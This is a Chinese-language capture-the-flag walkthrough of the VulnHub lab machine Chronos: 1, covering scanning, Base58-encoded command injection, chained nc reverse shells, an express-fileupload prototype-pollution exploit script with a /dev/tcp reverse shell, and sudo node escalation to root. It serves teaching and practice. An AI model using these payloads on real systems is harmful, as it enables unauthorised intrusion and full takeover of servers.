0x00 靶機介紹
靶機地址:Chronos: 1 ~ VulnHub
難度等級:中(構思非常巧妙)
推薦虛擬機:VirtualBox
0x01 內容簡介
-
涉及的攻擊方法
- 埠掃描
- WEB偵查
- 命令注入
- 資料編解碼
- 搜索大法
- 框架漏洞利用
- 代碼審計
- NC串聯
- 本地提權
-
簡介
本課我完整介紹了自己的打靶程序,以及面對每個困難時的思路和反映,在面對自身技術弱點的情況下,我通過搜索大法和自己快速的學習能力,終于成功完成了這次打靶,并識訓了作者埋下的一個小小彩蛋,希望你能從本課的內容受益!
-
打靶目標
- 取得 2 個 flag + root 權限
0x02 環境搭建
下載好靶機.ova檔案后匯入到VirtualBox中即可
確保靶機和kali在同一網段中
kali IP地址:10.0.2.7
0x03 主機發現
本次主機發現使用netdiscover這個工具
這款工具與arp-scan,arping原理都是相同的,都是通過發送arp廣播資料包來進行主機發現,只是命令的使用格式不一樣
對kali所在網段10.0.2.0/24進行掃描,有個使用netdiscover小建議,將真實的子網掩碼位數減8作為要掃描的子網掩碼位數,這樣設定在實際使用中對地址發現的速度、效率、最終效果都會更好一些
執行命令:sudo netdiscover -r 10.0.2.0/16

10.0.2.1-3這三個IP是虛擬機軟體為了完成基本功能所使用到的IP,所以一定不是靶機IP,故10.0.2.9就為靶機的IP
對10.0.2.9進行全埠的掃描
執行命令:sudo nmap -p- 10.0.2.9

繼續對22、80、8000埠進行服務版本的發現
執行命令:sudo nmap -p22,80,8000 -sV 10.0.2.9

掃描結果顯示
22埠,開放的是OpenSSH 7.6p1這個版本的的SSH服務,且目標靶機的作業系統可能是Ubuntu80埠,開放的是Apache web應用,再次驗證目標靶機的作業系統可能是Ubuntu8000埠,開放的是http應用,使用的是Node.js技術結合Express開發框架
0x04 WEB偵察
既然目標系統的80和8000埠都運行這http服務,那么就使用瀏覽器來訪問一下
先使用瀏覽器訪問:http://10.0.2.9

可以看到這個頁面非常的簡單
針對web應用進行滲透時,通常會有一些慣例性的做法,比如兩種常規操作
- 對web應用進行爬站,將隱藏的路徑,隱藏的檔案爬出來
- 按
ctrl+u或者在瀏覽器頁面上查看當前頁面的原始碼,查看可能會有的隱藏元素、介面、腳本等
查看頁面原始碼

并沒有查看到更多的url地址和頁面資源,但是發現了一段JS腳本,這段腳本似乎在預示著什么,應該是在頁面上執行某些功能,通常會預期通過這段腳本發現呼叫的某些后端介面
0x05 資料編解碼
將腳本內容粘貼出來,看看能否讀懂在干什么
var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
很明顯,這段腳本的內容似乎都是經過了編碼處理,導致很難從語意,函式名稱等等角度來讀懂這段代碼的含義
遇到這種情況,一般會對JS代碼進行美化、還原、整理操作
接下來介紹一款非常強大的針對計算機各種資料型別進行編解碼、還原、解密、解壓等等相關操作,即CyberChef
網站地址:CyberChef (gchq.github.io),而且還可以下載下來在本機上運行,使用瀏覽器來打開使用

將JS代碼粘貼到輸入框中,選擇JavaScript Beautify模塊

美化后的結果
var _0x5bdf = [
'150447srWefj',
'70lwLrol',
'1658165LmcNig',
'open',
'1260881JUqdKM',
'10737CrnEEe',
'2SjTdWC',
'readyState',
'responseText',
'1278676qXleJg',
'797116soVTES',
'onreadystatechange',
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
'User-Agent',
'status',
'1DYOODT',
'400909Mbbcfr',
'Chronos',
'2QRBPWS',
'getElementById',
'innerHTML',
'date'
];
(function (_0x506b95, _0x817e36) {
var _0x244260 = _0x432d;
while (!![]) {
try {
var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
if (_0x35824b === _0x817e36)
break;
else
_0x506b95['push'](_0x506b95['shift']());
} catch (_0x3fb1dc) {
_0x506b95['push'](_0x506b95['shift']());
}
}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
return _0x432d = function (_0x5bdf82, _0x432dc8) {
_0x5bdf82 = _0x5bdf82 - 126;
var _0x4da6e8 = _0x5bdf[_0x5bdf82];
return _0x4da6e8;
}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
_0x2beb35[_0x17df92(137)] = function () {
var _0x146f5d = _0x17df92;
this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}
發現美化后的代碼還是比較難讀,函式的名稱依舊是經過編碼處理的,若想要完全讀懂這段代碼的含義,理想上還是得將這些函式名稱編碼轉換回來,當然利用CyberChef是可以做到的;不過從滲透高效的角度來說,應該重點關注這段代碼中比較容易識別且一眼看上去就很可疑的內容
這段代碼中絕大多數內容都是經過編碼的不太好讀,但是有一處明文的url地址,即http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
分析這段url,它的主機名是chronos就是這臺靶機的名稱,local的意思是本地,恰巧靶機上的8000埠運行著http服務,所以有理由懷疑chronos.local:8000指向的就是靶機本身的8000埠
編輯kali中的hosts檔案,增加chronos.local對應的IP地址為靶機的IP:10.0.2.9
執行命令:sudo vim /etc/hosts

再次訪問:http://10.0.2.9,查看是否有通過剛剛這個url地址加載其他的資料,從而導致前端頁面或者原始碼發生變化

發現真的在前端頁面上多出了一段內容,接下來就應當打開burpsuite,利用burpsuite的代理截斷功能,在重新加載頁面的時候,截獲所有的網路流量,分析一下整個的通信程序,加載了哪些資源,訪問了哪些地址
0x06 命令注入
打開burpsuite,關閉截斷功能,配置瀏覽器代理,重新訪問頁面

從burpsuite的HTTP history中可以看到,瀏覽器首先以GET方式請求了根路徑,接著以OPTIONS和GET方式請求了剛剛在JS腳本中的url地址,并且在GET請求的回應資料是當前時間,再定睛一看,這個回應結果就是瀏覽器中多出來的內容
將最后一個GET請求包發送到Repeter模塊中,快捷鍵Ctrl+R或者右鍵選擇Send to Repeter

這個時候應該問自己一個問題:為什么當瀏覽器發送這樣的http請求,服務端會將系統時間發聵回來,如果將這串特殊字符4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL修改掉的話,服務器是否還會作這樣的回應

當任意修改這串特殊的字串后,發送請求后服務器無回應資料,通過這樣的簡單測驗,至少可以確定format=后面這串字符對于請求服務端的系統時間是至關重要的
觀察這段字符,發現長的樣子很像base64編碼后的字符,利用CyberChef的Magic模塊來解碼資料
Magic模塊會自動分析輸入的字串可能是通過什么格式的編碼來形成的

通過Magic模塊的分析,得到這串字符的編碼方式為Base58,解碼后的資料為:'+Today is %A, %B %d, %Y %H:%M:%S.'
Base58和Base64的區別
Base58是用于Bitcoin中使用的一種獨特的編碼方式,主要用于產生Bitcoin的錢包地址,
相比Base64,Base58不使用數字"0",字母大寫"O",字母大寫"I",和字母小寫"l",以及"+"和"/"符號,
設計Base58主要的目的是:
避免混淆,在某些字體下,數字0和字母大寫O,以及字母大寫I和字母小寫l會非常相似,
不使用"+"和"/"的原因是非字母或數字的字串作為帳號較難被接受,
沒有標點符號,通常不會被從中間分行,
大部分的軟體支持雙擊選擇整個字串,
但是這個base58的計算量比base64的計算量多了很多,因為58不是2的整數倍,需要不斷用除法去計算,
而且長度也比base64稍微多了一點,
參考鏈接:Base58和Base64的區別 - 簡書 (jianshu.com)
結合轉碼后字串'+Today is %A, %B %d, %Y %H:%M:%S.'和url地址http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL中的date查詢引數,非常像Linux中的date命令
比方說命令:date '+Today is %A, %B %d, %Y %H:%M:%S.'

%A : 星期幾 (Sunday..Saturday)
%B : 月份 (January..December)
%d : 日 (01..31)
%Y : 完整年份 (0000..9999)
%H : 小時(00..23)
%M : 分鐘(00..59)
%S : 秒(00..61)
參考鏈接:Linux date命令 | 菜鳥教程 (runoob.com)
當產生這個懷疑并進行簡單測驗之后,初步推測:當訪問這段http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL地址時,服務端執行的就是Linux date系統命令,如果執行的是系統指令,那么就應該可以通過諸如,、管道符、||、&&來注入更多的命令,從而實作反彈shell
首先構造Payloads,進行base58編碼后提交到服務端,驗證猜想,Payloads如下
&& ls
編碼后
5Jdixo4

將5Jdixo4作為引數值提交到服務端

回傳的結果列出了當前目錄下的檔案,真的有命令注入漏洞
0x07 NC反彈Shell
既然驗證出了有命令注入漏洞,就應當利用這個漏洞來反彈shell
命令注入漏洞反彈shell時首選nc,因為nc的適用范圍特別廣,如果目標靶機上存在nc的話就不用再花時間上傳別的工具上去,直接通過nc反彈shell
查看目標靶機是否存在nc
| Payloads | base58編碼后 |
|---|---|
| && ls /bin/nc | 4BJ88AkbuHSuYTck2e |

回傳的結果顯示出現了一些錯誤,可是命令明明是對的,ls在之前的驗證當中也是可以正常運行的
再次構造Payloads
| Payloads | base58編碼后 |
|---|---|
| && ls /bin | 39JyvVr3FjbwAV |
提交資料到服務端(注意:提交之前需要重啟靶機,否則由于剛剛的錯誤可能觸發了目標靶機某些運行環境的改變,造成此url不再回傳資料)

這次運行成功,首先看到目標靶機有bash,所以在反彈shell時可以選擇它
搜索是否存在nc

結果顯示目標靶機上是存在nc的
測驗此nc是否可以正常運行,是否能夠建立基本連接
先在kali上偵聽4444埠
執行命令:nc -nvlp 4444

構造Payloads
| Payloads | base58編碼后 |
|---|---|
| && nc 10.0.2.8 4444 | 7z53yRw7rBpK6bZzzLiu6mzbEs |

回應的結果說發生了一些錯誤,但是連接已經成功建立了,說明目標靶機上存在nc且可以正常建立連接

測驗此nc帶不帶-e引數,如果有直接利用-e引數反彈shell,如果沒有則利用靶機02中的方法NC串聯來反彈shell
在kali端重新偵聽4444埠
構造Payloads
| Payloads | base58編碼后 |
|---|---|
| && nc 10.0.2.7 4444 -e /bin/bash | 3ZvDHzaCGqZ8QHRSqqWgqs2zWPV699tYwn7v3v5BUKUj |

發現連基本的TCP連接都沒有建立,更別說反彈shell了

基本可以判斷目標靶機上的nc不帶-e引數
不得不選擇NC串聯方法來反彈shell
在kali端偵聽4444和5555埠
構造Payloads
| Payloads | base58編碼后 |
|---|---|
| && nc 10.0.2.7 4444 |/bin/bash |nc 10.0.2.7 5555 | UGDw4GJJkFbTzqwn2PUpPJ9J8Ffdzg6USGexPydruuoMUnYCVbKud1J9MaiMMCREZZAU |


反彈shell成功,由于利用的是web服務器上的命令注入漏洞獲取到的shell,所以默認所處的路徑應該是當前web應用所在的應用程式放置路徑
0x08 資訊收集
在當前目錄下并沒有看到可能是flag的檔案,接下來就需要去找到這些flag
在這個階段就需要在目標靶機上進行大量的資訊收集,查看目標靶機上存在哪些用戶賬號以及所有的敏感目錄,在敏感目錄下是否包含一些看似是
flag的檔案
查看所有的用戶賬號
利用nc在目標靶機上執行命令:cat /etc/passwd

查看到目標靶機上存在可以登錄的imera賬號
去這個賬號的主目錄下看看都有什么檔案

發現這個目錄下存在user.txt這個看起來就很像flag的檔案,遺憾的是這個檔案僅有屬主具有讀寫權限
0x09 失敗的提權嘗試
既然沒有權限讀取內容,那么接下來的目標就很明確,就是要把自己提升為imera賬號權限,甚至是root賬號權限
在
Linux系統中常見的三種提權方法
- 內核漏洞提權
SUID配置錯誤提權sudo提權
嘗試使用內核漏洞提權
查看目標靶機的內核版本

針對內核版本4.15在網上尋找已知的內核漏洞提權的工具和代碼,一無所獲
嘗試使用SUID配置錯誤提權
在目標靶機上尋找SUID權限配置錯誤,一無所獲
嘗試使用sudo提權

當前賬號www-data的權限非常低,沒有sudo的權限
至此,提權的進展遇到了一些困境
0x0a express-fileupload提權
這樣的困境在真實的滲透測驗程序中都會遇到,當自己慣用的方法針對當前系統無效時,必須要尋找新的出路
如何尋找新的出路呢?
最重要的無外乎就是在目標系統上進行大量的資訊收集,滲透測驗的經驗越豐富越發現,資訊收集其實才是滲透測驗程序中最最關鍵的環節,當把目標系統上的資訊盡量完整的收集到之后,自然而然就會產生很多的漏洞利用攻擊思路或手段
思路來源于大量的,完善的資訊收集
通過在目標靶機上進行了大量的資訊收集,查看系統檔案目錄等,經過一番折騰之后最終發現在web應用的根目錄即/opt/chronos存在突破點
在/opt/chronos下存放著web應用服務端的代碼

但是這個web應用服務端程式是通過Node.js使用JavaScript語言來開發的
作為滲透測驗者經常會面對這樣的情況,遇到自己壓根不熟悉的技術;這個時候就要求我們具備快速的學習能力,利用最短的時間上網搜索,吸收知識,了解這種技術最核心,本質的實作原理
經過一天左右的搜索,最終發現存在于目標靶機上Node.js的漏洞,并利用這個漏洞成功的進行了提權
Node.js最初由個人開發,現在交于Node.js基金會來進行維護
簡單的說 Node.js 就是運行在服務端的 JavaScript,
Node.js 是一個基于Chrome JavaScript 運行時建立的一個平臺,
Node.js是一個事件驅動I/O服務端JavaScript環境,基于Google的V8引擎,V8引擎執行Javascript的速度非常快,性能非常好,
基于Node.js開發應用程式通常都會基于已有的框架和庫,例如
Socket.io、Express、Axios,而針對web應用開發的話最常用的就是Express
嘗試對目標靶機的web應用進行代碼審計
每個基于
Node.js開發專案的根目錄下面,一般都有一個package.json檔案,定義了這個專案所需要的各種模塊,以及專案的配置資訊(比如名稱、版本、許可證等元資料),npm install命令根據這個組態檔,自動下載所需的模塊,也就是配置專案所需的運行和開發環境,參考鏈接:package.json檔案 -- JavaScript 標準參考教程(alpha) (ruanyifeng.com)
查看package.json檔案內容

果然這個web應用使用的是Express框架來開發的,于是就從網上進行了大量的搜索,搜索Express框架是否存在已知的漏洞,一無所獲
繼續查看web應用后端主檔案app.js內容
// created by alienum for Penetration Testing
// 加載用到的庫
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
// web應用運行在8000埠,與nmap掃描結果相印證
const port = 8000;
const cors = require('cors');
app.use(cors());
// 路由的配置
app.get('/', (req,res) =>{
res.sendFile("/var/www/html/index.html");
});
// 路由的配置
app.get('/date', (req, res) => {
var agent = req.headers['user-agent'];
// Linux date命令
var cmd = 'date ';
// 提取請求url中的format查詢引數的值
const format = req.query.format;
// 進行base58解碼
const bytes = bs58.decode(format);
var decoded = bytes.toString();
// 拼接完整date命令
var concat = cmd.concat(decoded);
// 到這里發現從客戶端提交上來的資料沒有進行任何的消毒,過濾,直接進行了拼接,也驗證了命令注入漏洞的原理
// 如果http請求資料包中的user-agent欄位的值是Chronos話才允許訪問
if (agent === 'Chronos') {
// 請求引數包含id whoami python nc bash php which socat這些特征字符的就回傳Something went wrong,這也驗證了在利用nc反彈shell時為什么服務端會回應Something went wrong
// 但是也只是僅僅做了這么個檢查,檢查到了回傳一個錯誤資訊,卻并沒有阻斷執行,這也是服務端防護不完善的地方
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong");
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{
res.send("Permission Denied");
}
})
app.listen(port,() => {
console.log(`Server running at ${port}`);
})
這段原始碼似乎對提權也并沒有幫助,不得不繼續在目標靶機上做資訊收集,又一番折騰過后
在/opt目錄下還存在/chronos-v2目錄

發現這個另外一個web應用,有前端模板檔案index.html,前端代碼目錄frontend,后端代碼目錄backend
進入后端代碼目錄中看一下

依然存在package.json檔案,二話不說查看一下內容,看看都用到了哪些庫,而這些庫是否存在某些已公開的提權漏洞

ejs:是一套簡單的模板語言,幫你利用普通的 JavaScript 代碼生成 HTML 頁面,
express:基于 Node.js 平臺,快速、開放、極簡的 Web 開發框架,
express-fileupload:用于上傳檔案的Simple Express中間件,
ejs和express都沒有給機會,但是express-fileupload給了提權一線曙光
查看服務端代碼檔案server.js
// 加載用到的庫
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
// 將parseNested設定為了true
app.use(fileupload({ parseNested: true }));
// 設定模板引擎和頁面
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
// 路由配置
app.get('/', (req, res) => {
res.render('index')
});
// 啟動在127.0.0.1的8080埠
// 這也解釋了為什么在掃描的時候沒有發現這個web應用
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
這段代碼也非常的檢查,唯一有希望的地方就是這些模塊存在可以利用的提權漏洞,到網上繼續一頓搜索這么模塊存在的漏洞
功夫不負有心人,在花費1天左右的時間后最終找到了模塊express-fileupload存在的一個漏洞
在這篇文章中比較詳細的介紹了這個漏洞型別:NodeJS module downloaded 7M times lets hackers inject code (bleepingcomputer.com)(需FQ),并且還有一個鏈接鏈接到了這個漏洞最初發現者的原始博客文章:Real-world JS - 1 (p6.is),而在最初發現者的文章中完整的介紹了這個漏洞是如何產生的、背后的原理以及如何進行漏洞利用

根據這篇文章得知當開啟app.use(fileupload({ parseNested: true }));時,漏洞則會存在,回去檢查一下靶機服務端代碼檔案,發現正好開啟了這個功能,真的有可能成功利用這個漏洞獲得提權的效果
在這篇文章的最后部分,作者貼心的寫上了簡化的漏洞利用代碼,是一段python代碼

import requests
# 定義反彈shell的操作指令,p6.is/8888為kali的IP和埠
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
# pollute
# 原形污染的攻擊性代碼,p6.is:7777是要攻擊的web應用的服務地址和埠
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
# p6.is:7777是要攻擊的web應用的服務地址和埠
requests.get('http://p6.is:7777')
將其中的地址和埠改成正確的
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/10.0.2.7/4444 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
首先在kali上創建這個檔案,保存為exp.py

由于web應用監聽的是127.0.0.1:8080,所以在kali上啟動http服務將這個檔案傳輸到目標靶機上,在目標靶機上利用wget下載檔案

在kali端偵聽4444埠

在目標靶機上執行exp.py

成功在kali上獲得到了反彈shell,長長的出了口氣

提權獲取的賬號是imera,而在之前的資訊收集中又發現在這個用戶目錄下存在一個類似flag的檔案user.txt

看起來一定是flag的內容了
0x0b sudo+Node.js提權
根據靶機作者的描述在root用戶目錄下還存放著一個flag檔案,嘗試進入root用戶目錄查看檔案型別

發現沒有權限,不得不面臨著第二次的提權
嘗試使用sudo提權

發現有可乘之機,框框中的兩行表示在不需要密碼的情況下就能以root權限運行npm和node這兩個命令
通過網上搜索,尋找到了這么一段Payloads
# 通過呼叫node生成一個子行程,而在這個子行程中執行的就是/bin/bash
sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'

可喜可賀,取得了root權限的shell
查看flag檔案

識訓到root賬號下的flag,本次打靶圓滿完成!
0x0c 總結
-
打靶程序圖片概述

-
打靶程序文字概述
-
先做了主機發現、埠掃描、應用發現等基本操作
-
在
web頁面原始碼中發現了個奇怪的域名,通過hosts檔案系結域名和IP之后,發現了頁面中的某些變化 -
通過對
url中引數值進行base58解碼分析,得到了一個命令注入漏洞,通過構造Payloads并進行base58編碼后,成功利用這個命令注入漏洞獲取了一個基礎的nc反彈shell -
在這臺靶機上識訓
flag以及提權的程序中遇到了很多的困難,最終通過代碼審計+搜索大法找到了web應用使用到的一個模塊的漏洞,成功提權最近這些年在互聯網上爆出了很多很多的漏洞,其中相當大比例都是開源的框架上的漏洞;現在絕大多數的系統都是基于現成的框架/CMS/模塊開發出來,所以若一個框架/CMS/模塊在世界上的應用很廣泛,一旦這個框架/CMS/模塊出現問題,那么受到攻擊威脅的服務器也會非常多
-
再次通過
sudo提權,拿到了root權限的shell
-
-
打靶程序對應的視頻鏈接:點擊查看
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/452861.html
標籤:其他
